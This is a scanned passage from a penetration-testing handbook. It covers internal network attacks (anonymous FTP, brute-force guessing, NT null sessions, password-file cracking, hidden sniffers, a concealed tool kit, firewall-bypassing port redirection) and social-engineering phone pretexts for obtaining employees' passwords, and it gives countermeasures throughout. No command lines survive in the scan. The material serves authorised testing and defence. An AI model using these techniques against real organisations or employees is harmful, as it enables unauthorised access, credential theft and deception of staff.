Interface installed and running on port 2301. Attackers can exploit this Web interface to
gain administrator access to the system. Therefore, the list of open ports should be
compared with the ports that are required to be open for business. Upon completion of the
test, you or the administrator should conduct a full port scan against critical servers to
identify any ports that may have been missed. Any ports that are not needed should be
closed. Any ports that administrators are not aware of should be further investigated to
determine whether they are needed.



Usually you will be able to figure out what service is running on most of the ports identified
during the port scans. However, there will be ports that you do not recognize or that are not
defined. Banner-grabbing programs can be used to help determine what is running on the
port. (You can find more information concerning banner-grabbing tools in Chaéter 12.) In
addition, the banner-grabbing program can help identify the type and version of the service

running on each port. The banner-grabbing program attempts to connect to the service
running on that particular port and capture the output provided from the service. Normally,
the output helps identify information about the service that is running. You can then use the
information about the service to search vulnerability databases, such as

Wwww.securityfocus.com, for any published exploits affecting the service.

Table 7-1. Sample Table for Organizing Collected Information

IP Address Host Name Operating System | Ports Comments Applications
10.10.10.1 XYZ_IS NT 21 FTP
23 telnet
80 IIS server (HTTP) |lIS 4.0

135 |[NetBIOS
139 |[NetBIOS

10.10.10.5 XYZ_PDC NT 135 |NetBIOS

139 |NetBIOS

2301 |Compag Web Version 2.4
10.10.10.100 |Serverl.xyz.net |Solaris 23 telnet

110 |POP

2049 |NFS

At this point in the testing, it is a good idea to review and organize the information you have
collected. By consolidating and analyzing the information you can begin to see where
holes might lie and design a plan to test for them. Build a quick table that lists the IP
address, host name, operating system, open ports, applications, and any comments that
may be useful as you move forward. provides an example of how we normally
organize this information. You can add or delete columns as you see fit. The important
point here is to have the information organized into an easy-to-use format to aid in the
testing.

What to do next largely depends on the operating systems, applications, open ports, and
vulnerability information discovered. We normally have a set of exploits we try on NT,
UNIX, and Novell systems. In addition, each application (IIS, SQL, Oracle, and so on)


http://www.securityfocus.com/default.htm

usually has vulnerabilities associated with it that we can attempt to exploit. In the following
text, we start by describing techniques to try for common ports, then examine some testing
methods for each operating system, and finally describe how you can look for additional
exploits on your own.

After you have connected to the ports using banner-grabbing software, you can begin
trying to log into each open service to gain access or to learn information that will help to
gain access. First, try to log in to FTP (port 21) using “anonymous” as the user name. Many
times FTP grants the user “anonymous” read access to files in the FTP directory.
Sometimes anonymous FTP has been incorrectly configured to allow write access. With
write access, you can copy over a Trojan horse program or a root kit containing Netcat and
other tools. You can then attempt to create a batch script that uses Netcat to open a
command prompt on a particular port. These are just two techniques you can use to gain
access to the system with FTP write access. Once you have write access, there are a
number of techniques you can use to gain command line access to the system.

If you cannot gain write access with anonymous FTP, you can try educated guessing
against an account. If educated guessing does not work, try brute force password guessing
to gain access. Be careful using brute force guessing during penetration testing since it can
lock out accounts. Normally, we use brute force techniques only as a last resort since they
increase the chance of detection and can inconvenience the client due to lockouts.

In addition, the version of the FTP software may be vulnerable to exploit. If you are able to
identify a vulnerability for the specific version of FTP during your research, attempt to
exploit it. For instance, WFTP is vulnerable to buffer overflows that enable the attacker to
execute commands on the system or view files and directories. Wu-ftpd is open to a format
string vulnerability that could allow an attacker to gain root access on the system. These
are just a few examples; there are many vulnerabilities that affect different versions of FTP
on many platforms.

Next, attempt to login to telnet using educated guessing for the user ID and password. If
educated guessing is not successful, you could use brute force techniques. However, as
mentioned, avoid using brute force until you have exhausted all other options. If you are
able to successfully login to telnet, you will have command line access and be able to start
attempting to escalate your privileges.

SMTP is often another vulnerable service. During the banner-grabbing phase, you would
have obtained the name and version of the SMTP software running on port 25. During your
vulnerability search you should determine whether the specific version of the software is
vulnerable to any published exploits. For example, older versions of sendmail are



susceptible to many vulnerabilities, many of which yield root or administrator access. Also,
you can attempt to gather information using SMTP commands. You can also use SMTP
commands to_attempt to relay mail through the server, forge e-mail, or mail commands to

programs. In Chapter 94 we demonstrate actual commands that can be used for these
purposes.

Finger (port 79) can be used to gather system and user information. Most organizations
have discontinued using Finger, but if you find Finger open, it can yield useful information
about the users on the system. You can attempt to connect to it manually or use one of the
tools covered in Chaéter 12. Finger gathers information about the users on the system.

You can use this information to help build your attack.

Another step during the discovery phase includes attempting to extract SNMP information
from the network. SNMP is used to manage network devices. SNMP-enabled devices, if
not configured correctly, can reveal a plethora of information about the network. SNMP
information includes routing tables, protocols, error logs, and other system and network
data. This information can be used to help build your attack. SNMP devices should be
configured to use private community names that act much like passwords to control access
to the service. The problem is that many organizations leave these community strings set
to the default of “public” or “private.” If an attacker guesses this community name, he or she
will have access to all the SNMP information and may have write ability if SNMP has been
configured with write access. Several tools can be used to obtain the SNMP information.
NetScanTools and WS_Ping ProPack are two of these tools. SNMP exploitation is

described in greater detail in Chapter 14. To guard against SNMP exploitation, be sure to
select hard-to-guess community strings and use access lists on routers and network
devices to limit the range of addresses that can obtain SNMP information.
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7.3 NT Enumeration

Even if you identified NT systems during the discovery phase, you should use NET
commands and NT tools to identify the additional NT domains and systems. There are a
number of tools native to Windows NT and within the NT resource kit that can be used to

test Windows NT systems. [Chapter 16§ provides detail on each individual tool. Here we
discuss the general methodology we use for testing Windows NT resources. First, we
attempt to discover Windows NT domains, domain controllers, servers, and other NT
resources. We then enumerate system and user information to be used during the test. We
use this information to exploit accounts and gain access to NT resources.

Net view and net view/domain can be used to identify accessible domains and systems
within those domains. If you are able to identify NT domains, you will want to locate the
domain controllers for each domain. During testing, we commonly target the domain
controllers because they contain the NT password file (SAM) for the entire domain. If the
domain controller is vulnerable, almost every domain resource is vulnerable as well since
domain administrator accounts have domain-wide access. Nltest can be used to identify
the domain controllers for each domain. Additionally, Nltest can be used to identify trusted
domains. Domain administrator accounts from the exploited domain may be able to access
domain resources in the trusted domain. Even if a trust relationship does not exist between
the domains, an account from the exploited domain may also be a valid account in another
domain. Using this duplicate account, you can begin to test the new domain. Information on
how to use these tools can be found in .

Once the critical NT servers have been identified, we can attempt to enumerate as much of
the NT server information as possible. If the NT server has not been properly patched or
secured, it can yield a great deal of information about the domain that will aid in building an
attack. The information gathering can be done manually or with tools. The NT resource kit
and DumpSec are two excellent tools for enumerating NT information. Most of these tools
require a null connection to the NT system. A null connection is a connection made to the
IPC$ share with no user name and password. If the RestrictAnonymous registry key has
not been set on the system, you can enumerate user, group, and share information. A null
connection enables you to collect information on:

® Shared drives, directories, and printers

® Additional network cards



® Services currently running on the machine
® Domains trusted by the computer

® | ocal users and user information

® | ast login time

® Account active/disabled status

® | ast time password was changed

® | ocal administrators

® Global administrators

Once you have obtained the information from DumpSec and the other NET commands,
you can try to obtain administrator-level access on the system. Administrator access
enables you to capture the system's password file (SAM file), perform additional exploits,
and use the system as a launching point for additional testing. You can attempt to guess
the administrator password through educated guessing. Be careful with this technique
since you can lock out the account if passprop.exe is installed to allow for administrator
lockout. Normally we attempt password guessing on one account and then use DumpSec
to gather the account information to see whether the account has been locked out. If it has
not, we continue password guessing. If we are still unsuccessful in guessing, we again
check the account status using DumpSec. If the account is still not locked out, account
lockout is probably not enabled. Now the door is open for brute force guessing. Tools such
as NetBIOS Auditing Tool (NAT) can be used to brute force the accounts. (For information
on NAT see Chaéter 1&.) Any dictionary file will work with the tool. Usually we add

customized words to the beginning of the dictionary file such as local sports teams,
attractions, movie stars, and so on. Often, at least one administrator account
unintentionally has a weak password and once it falls, they all fall.

Once administrator access has been gained on the system, we can then extract the
password file. LOphtCrack easily extracts the password file and can then be used to crack

the passwords. (For more detail on using LOphtCrack see [Chapter 15.)

Also, using the administrator account you should go through the file system looking for
tools and hints that may help you gain access to additional systems. You may find notes
the administrator left to him- or herself, applications that have hardcoded passwords, or



trust relationships between the exploited system and other targets. Take time reviewing the
information you find on the system and record anything that you may be able to use later.
In addition, you may find sensitive information that the company would not want
compromised.

Finally, you can now use the exploited system as a launching point for testing against
additional systems. By loading your tool kit onto the exploited system and obtaining
command line access, you can use your tools from this new platform against other
systems on the network. You may be able to find new domains or systems from this new
vantage point. Remote and Netcat are two tools you can use to obtain command line
access to the exploited system. (Information on Remote and Netcat can be found in

Chapter 16.) Additionally, you could use GUI remote control tools to control the exploited
system. (See [Chapter 19.)

There are several measures that should be taken to defend against NT attacks. First,
setting the RestrictAnonymous key limits the information an attacker can glean from a null
connection. Account lockouts should be enabled on all accounts. Auditing should be
enabled on all systems, and the logs should be reviewed regularly for unauthorized activity.
The passflt.dll should be used to enforce strong password controls. Syskey encryption
should be used to encrypt the password hashes, making password cracking much more
difficult. Information on configuring the passflt.dll and Syskey can be found in Windows NT
service pack three and higher. The passprop.exe utility should be used to enforce account
lockout on the administrator account. Passprop will lock out the administrator account
remotely, but the account will still be accessible from the console. Finally, security patches
and service packs should be applied shortly after being published and tested in the
company's environment.
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7.4 UNIX

In this section we provide a quick overview of some of the services and applications to look

for when trying to test UNIX systems. [Chapter 9 provides additional depth and information
that is useful in UNIX penetration testing. Testing UNIX systems is similar to NT but uses
different services and techniques. Again we look for services that can be exploited.
Remote services, NFS, telnet, FTP, and other services provide opportunities for
exploitation. There are many different types of UNIX systems, including Solaris, SunOS,
Linux, AlX, and HP-UX. If you can determine the type or “flavor” of UNIX you have
discovered, you can use this information to search for vulnerabilities specific to the flavor
and version.

There are certain clues that help you determine whether a host is running a UNIX
operating system (rservices, X-Windows, and so on). UNIX systems need to have open

orts to communicate and share files. Some specific UNIX ports to look for can be found in
Ehaéters 9

and[L. Also, Nmap can be run with the operating system identification option
to help determine the type and version of the UNIX operating system running on the host.

Once you know the target system is running UNIX, you can start to plan your test. First,
search for specific vulnerabilities that apply to the type and version of UNIX you have
identified and any services that may be running on the host. You can then check to see
whether the host is susceptible to these exploits through testing.

Services such as FTP, SSH, telnet, SMTP, TFTP, POP, rservices, and NFS can be
exploited if they are not properly configured or if weak passwords are used. If you find
these services open (ports 21, 22, 23, 25, 69, 110, 512-515, and 2049, respectively) you
should attempt to connect to them using password guessing or brute force.

Another potential way to gain access to a UNIX host as well as other systems is through
buffer overflows. Buffer overflow attacks involve sending data to a program that exceeds
the size of its buffer, causing the stack space to overflow. When this happens the attacker
can attempt to overwrite the program's stack space to trick it into executing the hacker's
own commands. In this way, buffer overflow attacks can enable the attacker to execute
commands on the target as root or gain root access to the system. A number of buffer
overflow attacks have been developed over the years for services such as sendmail, DNS
BIND, Rstatd, RPC services, and IMAP. A search of vulnerability databases for these
services should yield buffer overflows that will be successful on unpatched systems.



Web-server applications such as Apache, Netscape, and others have vulnerabilities
associated with them that can enable root access. While patches have been released to
protect these applications from the vulnerabilities, many system administrators fail to patch
their systems in a timely manner. If you find Web services installed, check the specific
version of the software against a vulnerability database to determine whether the software
is vulnerable to attack.

Once you have gained access to a UNIX system, you should obtain and crack the
password file. If shadow passwords are used, you will need root access to capture the
shadow password file and crack it. Once you have obtained the password file you should
use a password cracker such as John the Ripper to crack the file. Although you may have
root access on the system, it is still useful to crack the remaining passwords on the system.
Often you will find accounts reused on other servers. The more passwords you crack, the
more user IDs and passwords you can try on other systems.

After you have obtained and cracked the password file, you can attempt to use the
compromised host as a launching point for additional exploits and hopefully bypass filtering
rules implemented on routers and other devices. To perform this exploitation, create a
hacker tool kit and hide it on the target system. You can use this kit to launch the new
exploits. (We cover the hacker tool kit in more detail below.) In addition, by using Netcat or
datapipe you can route your tests through the compromised hosts, bypassing filtering rules
and/or leveraging existing trust relationships. Additionally, since you have access to the file
system, you should go through the files and settings looking for information that could be
helpful to exploit other hosts.

To defend against these attacks, make sure all unnecessary services are closed. Use
password crackers to proactively verify password strength. Review file permissions and
close all unnecessary access. Finally, monitor for new vulnerabilities and patch your
system constantly.

Ehaéter 9 provides more information on UNIX-specific testing procedures.
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7.5 Searching for Exploits

During your testing you will gather information that will enable you to start identifying
applications and software versions that are running on the targets. For instance, you may
be able to gain hints from the host name, ports that are specific to applications, or other
clues. Build a list of these applications and software versions and add them to your table.
These applications often have programming weaknesses associated with them that could
be exploited if they're not patched. Commercial vulnerability scanners will identify some of
these issues, but vulnerability databases are another way to find them. As part of your
Chagter 22)

testing, log onto these database services (a list of these sites can be found in
and search for the operating systems, applications, and software versions you have
identified in your table. If you find exploits you have not tried, either make sure the system
is patched against them or test the system to see if it is vulnerable. One word of warning:
Be careful running unfamiliar exploits that you download from the Internet! Think about
where and from whom you are getting this code. Hackers at times include back doors or
other nasty surprises in exploit code, hoping someone will be foolish enough to run it
without properly testing it first. Therefore, always know what you are running, and test it in
a lab environment before running it against production systems.
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7.6 Sniffing

Sniffing is another technique to use internally. A sniffer or packet capture utility is able to
capture any traffic traveling along the network segment to which it is connected. While
performing all of the other techniques described in this chapter, we normally set up sniffers
throughout the organization to capture network traffic, hoping to identify valuable
information such as user IDs and passwords. We use sniffing to passively capture data
being sent across the internal network. Laptops are usually the ideal platform since they
are portable and easy to conceal. The system does not even need an IP address since it
passively captures the traffic. The sniffing machine copies the data without modifying its
contents and is difficult to detect even with sophisticated intrusion detection software.
There are programs, such as AntiSniff, that have some success in detecting sniffers.

(Detailed information on AntiSniff and sniffers can be found in Chapter 14.)

Switched Ethernet environments reduce the risk of packet capture. Since the sniffer is able
to capture traffic only on its same network segment, a sniffer in a switched environment
can see only traffic destined for it. However, in a shared environment or mixed
environment, sniffers can be very useful for capturing valuable traffic. In addition, dsniff,
written by Dug Song, is able to sniff across switches. The techniques dsniff uses to sniff on
switched segments can cause denial-of-service conditions and therefore should be used
cautiously during penetration testing.

Any network traffic that is transmitted in clear text is susceptible to sniffing. Telnet, FTP,
and other clear-text sessions provide valuable information. The sniffer can capture a
complete telnet and FTP session, including the user name and password. In addition,
sniffed e-mail and HTTP traffic may yield actual passwords or clues that enable passwords
to be guessed. Sniffed e-mail may also yield confidential material, legal matters, or other
information that should normally be encrypted.

If the thought that this information can be captured from your network concerns you,
LOphtCrack's SMB Capture sniffer will surely concern you. The NT password sniffer, SMB
Capture, within LOphtCrack can sniff NT passwords directly from the network. If the
passwords are weak (for example, dictionary word, short, one number at the end),
LOphtCrack will be able to crack the passwords within minutes. If the passwords are strong
(mixture of uppercase and lowercase letters, special characters) it could take months for
them to be cracked. The fact that most NT networks use LANMAN passwords makes
matters even worse. LANMAN passwords are required to be sent when non-NT clients



(Windows 9x) need to authenticate to NT servers. The LANMAN passwords are not case
sensitive and are therefore easier to crack. At the start of the internal testing scenario, start
SMB Capture to begin capturing and cracking the NT passwords.

Normally we set up a sniffer in the test room where we are located during the testing. In
addition, we try to find another network segment with critical data or high-volume network
traffic on which to place a sniffer. Often, network segments that are connected to the data
center, system administrators' work areas, legal departments, human relations
departments, or senior management make excellent targets for sniffers. The key is to find a
location in which to place the sniffer where it will not be noticed. If network closets can be
accessed, you could plug the sniffer directly into a switch or hub port and attempt to
conceal the sniffer somehow. Since most network closets are locked, we usually end up
hiding the sniffer in an empty office, cubicle, or conference room. On occasion, we have
hidden sniffers under podiums in conference rooms. Often there are so many wires coming
out of the podium, no one notices one extra.

Once the sniffer is set up in the remote location, you need to find a way to retrieve the data
from it. You can either go back and pick up the sniffer later and read the data, use a script
to FTP it at regular intervals, or use a remote control program to go back and retrieve the
data and configure the system as needed. The use of remote control programs on these
hidden sniffers is quite effective. These programs allow you to periodically check the data
you're receiving from the sniffer and make changes to the configuration as you learn more
about the network. For instance, if you see login sessions that use the syntax “passwd,”
you can filter the sniffed traffic using ngrep or another filtering command to capture this
traffic in a file. The more filters you can place on the sniffer, the easier it will be to analyze
the data. However, be careful not to make your filters too restrictive or you may miss
critical data.

Internal testing is much like a series of linked vulnerabilities. Once you gain administrator
access on one system, additional systems start to fall. Fortunately for the tester and
unfortunately for the organization, administrator passwords on many systems tend to be
the same within the organization. Additionally, there is usually at least one account from
each compromised system that will work on another system. So as you begin to crack
systems, build a list of information that may be useful in attacking other systems: account
names, passwords, files that may offer password hints, vulnerable services, and so on. In
addition, look for trust relationships between systems. Often a system we previously
scanned from a laptop that showed no ports open will suddenly have many ports open
when scanned from a compromised system. This is due to the fact that the system may
have trust relationships or may use filtering to allow only certain hosts to connect to these
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7.7 Remotely Installing a Hacker Tool Kit

A hacker tool kit is essentially a set of tools placed on a compromised system to help
escalate privileges or to attack other systems. The hacker tool kit usually consists of a port
scanner (Nmap), Netcat (for creating listeners and back doors), and any other tools you
used during your discovery and exploitation phase. Create a directory on the host system
disguised by a name that will not alert a general user or system administrator. The file
could also be hidden or streamed to further avoid detection. Just remember that when the
test is over you will need to remove the tool kit, so remember where it is located.

Now that you have administrator access on the compromised host, you can run the tools
from the host remotely or just use it as a stepping stone using port redirection. Port
redirection involves taking network traffic coming into a host on one port and directing out
from the host on another. For example, if we were able to compromise an NT Web server
inside of a packet-filtering firewall, we would use a port redirection tool such as Fpipe to
accept connections on a specified port and resend them to a specified port on a specified
machine. On the compromised Web server we could set up a Netcat listener on port 80.
On the compromised system we would execute:

On the testing system outside the firewall, we could use Fpipe to make the connection to
the Web server using a different source port that is not filtered by the firewall. The following
command would establish a listener on port 25 on the test machine and then redirect the
connection to port 80 on the target system using the source port of 25.

By using telnet to connect to the test system on port 25 we obtain a command prompt on
the Web server inside the firewall. The traffic travels to port 80 from port 25 and thereby is
able to bypass the filtering on the firewall. Using port redirection such as this, you can
bypass filtering rules on packet-filtering firewalls or routers. Also, by remotely using a
compromised host as a testing platform you may be able to take advantage of trust
relationships.
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7.8 Vulnerability Scanning

It is also a good idea to run vulnerability scanners, commercial or freeware, internally to try
to identify holes you may have missed. While the high-end commercial scanners are very
good at detecting particular vulnerabilities, they are not able to link vulnerabilities. For
instance, if one vulnerability can lead to the exploitation of another hole, the scanner will
not be able to detect this. In addition, the scanners are not normally able to exploit trust
relationships or bypass filtering rules. You need to complement the abilities of the
commercial scanners with your testing skills and logic. Whichever vulnerability scanner you
use, make sure it is updated. Without the updates for the latest vulnerabilities you will miss
all vulnerabilities that were discovered since the last update. In addition to using an
updated scanner, keeping current on all system patches will help defend against these
exploits.
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Case Study: Snoop the User Desktop

Once on an internal penetration engagement, our team was given a conference room with
a live network jack. The goal of the engagement was to assess the security of the client's
back-end database servers from unauthorized access by company employees. We did not
know much about the layout of the network, except that the target servers were behind a
firewall and on a separate segment. We did know that the segment onto which we were
allowed was populated by employee machines.

The company was running DHCP, so when we plugged in, we received a valid network
address. The first thing to do was to discover the network. We ran the net view command
(as shown below) to obtain a list of domains and user workstations within each identified
domain that we could see from our current location.

And based on the results, we ran:

Next, we tried a null connection to each machine.

Once we had a connection, we attempted to determine whether there were any shares on
these machines with the following command:

Some shares on a few machines were identified. We then attempted to connect to those
shares with the net use command and by trying some default user names and passwords.
We successfully connected to several shares with the user name/password pair,
administrator/<blank password>.



Unfortunately for the company the local administrator account had a blank password.

Once connected, we were able to copy over, install, and run the remote control program
VNC, allowing us to control that machine from our laptop.

One note: We had cracked the local administrator account on a desktop machine. This is
not the same as the domain administrator account that has admin access to all machines.
This local administrator had admin access only to this machine and its SAM file; it did not
offer user IDs and passwords that could be used on other hosts.

At this point, we were ready to go forward and attempt to access the back-end servers with
the information we had gathered thus far. Before doing so, however, we took a moment to
look around this machine's file system and found a local copy of a Microsoft Access
database. Since databases often contain interesting information, we copied this back to our
laptop to examine. Once we did, we found that it contained sensitive client information.
This was at least a partial copy of a database stored behind that second firewall layer.

While there were additional vulnerabilities that allowed us to get at this information (for
example, allowed null connections, blank admin password), the Achilles' heel here is that
an employee had kept a local copy of a sensitive database.

Lessons Learned

While securing all corporate information by keeping it on secure servers behind a second
set of firewalls, monitoring with intrusion detection systems, logging any access, and using
a change management tool are good ideas, the human factor cannot be ignored. You need
to ensure employees do not keep local, unauthorized copies of any corporate information
in less secure places (such as on their desktops). Ensuring that they don't will likely
necessitate security awareness training and periodic checks either by searching file
systems (raising a privacy issue) or by doing these kinds of penetration tests. Also, do not
forget to secure the local administrator accounts on workstations. They can contain
sensitive information as well.
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Chapter 8. Social Engineering

Social engineering is quite possibly the least popular means of attacking a network
currently employed in penetration testing. It certainly receives the least media attention.
These attacks, however, can prove quite costly and should be guarded against. This sort of
attack can allow the attacker to bypass the security mechanisms of a network without using
any script or hacking tool and without even executing a single piece of code.

Social engineering involves getting employees at target companies to voluntarily surrender
their personal or corporate information. This is usually accomplished through nothing more
than conversation, often over a telephone and without any direct contact at all. It is
essentially a confidence game.

It is a good idea to incorporate such an exploit into your penetration testing since social
engineering can circumvent any logical security measures in place. It relies on exploiting
employees who either do not place a high value on information security or do not
understand that the information they hold (such as the IP address of their firewall or default
gateway or even their own password) can be misused to compromise the network if
disclosed to malicious individuals.

There are various methods of social engineering. We discuss three in this chapter and give
examples we are familiar with that are known to produce positive results. Among these are
making apparently harmless telephone calls to employees of the target company,
searching through the company's office trash, and casually looking at an employee's
workspace to directly obtain or deduce confidential information.
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8.1 The Telephone

The telephone is the primary tool for social engineering. A talented social hacker can steal
more critical information from and cause greater compromise to a target network with a
telephone than a team of script kiddies armed with the latest exploit downloaded from the
Internet.

Before calling, try to get as much specific information on the target network as possible to
help you impersonate an informed caller. Using the discovery tools previously discussed
(such as Ws PingPro Pack and Nmap), it is possible to obtain a great deal of information
on the target network (such as its IP address ranges, zone transfer, name of mail servers,
firewalls, and so on) that may be useful during the telephone conversation. It is not
necessary to have any information at all since an obliging target of the attack can be talked
into supplying all the information you need. Keep in mind, however, that the less
information you have prior to the calls, the more difficult your attempt at social engineering
will be. We do recommend that you script out what you are going to say, and the company
information you are putting forth, prior to calling.

Among the most common phone techniques are (1) to pose as a member of an
organization's technical support division and (2) to play the role of a disgruntled user
seeking a password change. A third approach is to call the technical support department of
a company and enlist their aid in getting a machine connected to their network. While the
nuances of these attacks are performed differently by different hackers, the process is
largely similar to what is described below.

8.1.1 Technical Support

The goal of this exercise is to contact a user of the target network and simply keep him or
her talking long enough to develop a rapport before asking for his or her password. The
general approach is to select a number of employees, say 30, ideally representing varying
levels of access to the target network. Employees can be selected at random from a
company directory if you have no prior information on the firm.

In this approach, you masquerade as a member of technical support and call unsuspecting
employees, claiming to be investigating reports of network congestion in the employees'
LAN or subnet and requesting their password in order to conduct tests on the network.



The first step is to call the technical support (or help desk) office and get names of a few
people there (or use common names, such as Mike and Chris) and the format of a trouble
ticket number. This works best if the technical support functions have been outsourced
because company employees will not likely know anyone in technical support.

With this trouble ticket information and a good technical support name, call a target
company employee and claim to be investigating reports of network congestion. Hopefully
the target is not technically savvy and you can use technical phrases, such as
“investigating congestion between the hub and the gateway router for your LAN,” to help
convince the target that you are indeed who you say you are. Telling him or her that you
are trying to fix the current problem so the target's network connection can be faster may
help win the employee over.

Next, engage the employee in running simple “tests” that can be done from the user's
desktop. A popular test is to have the target run ping localhost and ask them to see if the
TTL field is greater than 64 (it is usually 128 or 256). You then inform the target that a TTL
greater than 64 is indeed indicative of network congestion. A ping of the default gateway is
also commonly used, which avoids getting caught by employees knowledgeable enough to
know the localhost is their own machine. At this time, you can obtain the user's IP address
and subnet mask as well as the IP address of the default gateway from the target by
asking them to run ipconfig (for a Window's host) or ifconfig —a (for a UNIX machine) and
read the results to you. You can justify this by stating you need to see if their IP information
corresponds to yours. Running arp —a <gateway> or the netstat command are other good
tests.

The idea is to keep the user talking, making it just slightly inconvenient for him or her,
before finally asking for the password so that you can continue running these “tests”
without taking up any more of the employee's time. At any time, if the employee is getting
suspicious, politely end the conversation by stating the last test indicated the problem may
not be on their end. Give them the trouble ticket number (make one up following the format
received from technical support) and end the conversation. Then you can begin again by
calling another employee.

If you happen to reach staff members who have been trained in resisting such attacks or
the target happens to be technically proficient, these techniques will be more difficult.
However, in a staff of a large enough size, there are sure to be a few individuals who do
not hold to such high standards. In the process of finding them, you may encounter several
failed attempts. In that case, it is good to space out the telephone calls between days or,
preferably, weeks. This is to avoid raising the suspicions of the target firm. When we were



engaged to perform a social engineering attack for a company with over 10,000
employees, from a random sample of 30 employees, 17 offered their passwords under
such an attack.

8.1.2 Disgruntled Customer

The goal of the second common social engineering attack is to get customer service to
change a user's password. Specifically, have the password changed to one you know so
that you can access that user's account. This can be done by posing as a dissatisfied (or
disgruntled) customer and requesting a change of password to either a user-supplied
password or a generic default, such as the ever-popular “password.” If you can obtain
information on what the organization uses for default passwords, this technique will be
even more effective.

Through this approach, you call a customer support center and pose as a user who is
having trouble logging into a paid service, such as an online trading account. You then
explain to the customer service operator that you have been having problems logging into
your account for some time now. You have sent e-mail detailing the problem to the

appropriate address (for example, @onrt@whatever.com) and have received an e-mail

reply from someone in customer support saying that by calling in, you could get your
password reset and that that should begin to address the problem. (The name of a person
in customer service can generally be obtained from the corporate Web page. The head of
customer service will suffice since most e-mails from anyone in customer support carry a
footer from the department head.) The customer service agent will reply that the account
seems to be fine; however, this will not satisfy you.

In this exchange, you will have to convince the customer service representative that you
are actually the user in question. However, you will not have to know the user's password,
and if asked for it, you can respond by saying that it is insecure to give out your password
to anyone. If this is done properly, the customer support representative may not even ask
you to prove you are who you say you are. Remember, you are not saying you forgot your
password and therefore need a new one (which generally requires you to prove your
identity)—you are saying that you are having trouble with the account and have been told
by customer service through e-mail that resetting the password may solve the problem. A
slightly disgruntled tone also helps legitimize the difficulty you say you're experiencing. The
customer support representative may simply reset the password since taking this step
allows him or her to show that the situation has been successfully resolved to the
customer's satisfaction without having to escalate it to the next level.
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If the help desk does not verify callers' identities, the job becomes easier. We find that
often companies do not ask for user authentication if the call is coming from a phone
number internal to the company. This lends itself to internal testing. During internal testing

you can call from a company phone. In addition, using techniques described in [Chapter 7,
you can hopefully identify user IDs and associate them with actual names. You can then
call the help desk toward the end of the day, representing yourself as one of these users.
You indicate you have locked out your account after having changed your password and
you cannot remember what you changed the password to. If the help desk does not make
you verify your identity beyond checking to see that the call came from the desk phone of
the person you say you are, you will be successful. Once you have obtained the new
password you can log in and move on. This, however, can be easily monitored since the
real user will eventually return to the computer and be unable to log in (because you just
had the password changed). He or she will call in to have their password reset and this
should trigger the help desk that something is amiss. But by then the damage has been
done—you have gained access to the system. Along with current user accounts, accounts
that have not been used in some time are good targets, especially since no one is routinely
checking these accounts. Hopefully you will have some time to use these accounts to try to
elevate your privileges before someone realizes your actions.

As a countermeasure, technical support should verify the identity of any caller regardless of
what they are asking or where they are calling from. It may, however, be possible to fake
the authentication mechanism. The tried-and-true mother's maiden name check is too
guessable (and can be discovered over the Internet through various family history Web
sites). A company-supplied question and/or answer challenge where the company asks
users at sign up to select one of three questions and its corresponding answer, also out of
a selected group (for example, “What is my favorite color?” “Red”), is more difficult but still
susceptible to brute force attacks over time since there are a finite number of possible
combinations. With time and a bit of luck, the correct combination may well be discovered.

Additionally, it is easy for a technical support operator to fail or merely forget to verify
identity before issuing a password change. Therefore, establishing a separate queue for
issuing password changes and training the customer support representatives who answer
these calls to specifically identify unauthorized password change attempts can help reduce
the risk of this occurring. This will cause legitimate users some additional delay, however, it
can reduce the risk from this type of attack.

8.1.3 Get Help Logging In

This approach involves a few more steps than the previous two. In this case, you call an



employee who is working off-site at his or her normal office number. It may take a few calls
before finding an employee who is not working at the office. Once you do find one and
voicemail answers, hit “0” for the call to be forwarded to the administrative assistant.

When the administrative assistant answers, say that you are calling from an insurance
company and the employee's policy is being cancelled unless the employee addresses
these issues immediately. Then request a phone number where the employee can be
reached (either his or her cell phone or a number at the client location).

At this stage, you can use any cover story that will convey to the receptionist that you must
speak to the employee immediately. We have seen hackers call from debt collectors or
banks, saying that the employee's assets would be seized immediately unless the
employee did something.

In either case, with the employee's number, you next call the employee, posing as a
member of the human resources department of the company. Apologetically inform the
employee that his or her files and paperwork have been misplaced and you need some
information in order to try to track down and correct the issue. Ask the employee for his or
her full name, home address, home phone number, office address, office phone number,
employee number (if appropriate), and so on. At this stage, no passwords are being
requested.

Then, with this information, call the technical support division of the employee's company,
pretending to be that employee. State that you're at a client site without your own machine
(or say it's not working) and that you need help getting a machine logged into the network.
Use the information just gathered to help prove your assumed identity. Then say that you
will hand the phone to someone in technical support for the client firm where you are
currently working. Now, with the aid of the representative from technical support (at the
target company), you can configure a machine that can log into their network.

For this to work, it is not necessary to involve someone posing as a member of the client
firm's technical support. This adds some legitimacy, at the cost of some additional
complications.

8.1.4 Additional Methods

We have discussed several of our favorite telephone hacking approaches, but there are
many other good ones. You should definitely try to find or develop those that are
comfortable to you. The social engineering attempt may not enable you to obtain



immediate access, but it may give you additional information to use in other areas of your
test. For instance, you may find user IDs and passwords that you can use for dial-up
systems or IP addresses of target systems.

Here's another technique that has worked in the past. When two companies merge,
especially those with subscribers or paying customers, you can call customers of either
company and pose as an employee of the newly formed company, claiming to be verifying
user records. In this process, ask the target for his or her account status (such as account
history, number, and so on).

For example, suppose two telecommunications companies merge. You can pose as an
employee of the merged company, call a customer of the company (any firm within the
regions of those phone companies), and ask for their telephone number range(s). This
information can then be used to perform war dialing, which can, among other things,
identify desktops with unauthorized modems—one of the most significant security holes
throughout America.
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8.2 Dumpster Diving

During Microsoft's landmark antitrust trial in the final years of the twentieth century, fellow
software giant Oracle hired detectives to dig up dirt on Microsoft's activities. One of the
techniques the detectives attempted was to purchase Microsoft's trash. Though this may
not seem a sanitary activity, it can potentially offer an amazing wealth of information.

Almost every office with a common printer prints out separator sheets with a user's name
and the file name of the printed document. A healthy percentage of these sheets wind up in
the trash, allowing the brave trash diver to identify at least a partial user list and a list of
documents associated with those users. Since people generally give descriptive names to
their files, this can also offer many suggestive hints as to what projects the company
employees may be working on. Additionally, it may offer the format of the user names. This
format along with a company directory could give the hacker a sample user list for the
target network.

Further, as employees work on documents, even of a critical nature, they print multiple
copies to proofread and make changes. This iterative cycle may yield several printed
versions that often do not reach the paper shredder and are instead left in the normal
trash. These older versions can still contain a great deal of sensitive information. This is
especially true if the final revision was merely for running the spell checker.

Sticky notes often contain a wealth of information. These notes (in yellow and other colors)
stand out just as well in trash as they do on a crowded desktop and are a great source of
information. On such slips of paper are scribbled names, telephone numbers, and
addresses; gift ideas for special occasions; notes from meetings and telephone
conversations; and various user passwords. Often valid user names and passwords to
printers, remote servers, file shares, guest accounts, and so on are clearly and neatly
written on sticky notes and thrown away when either memorized or no longer needed.
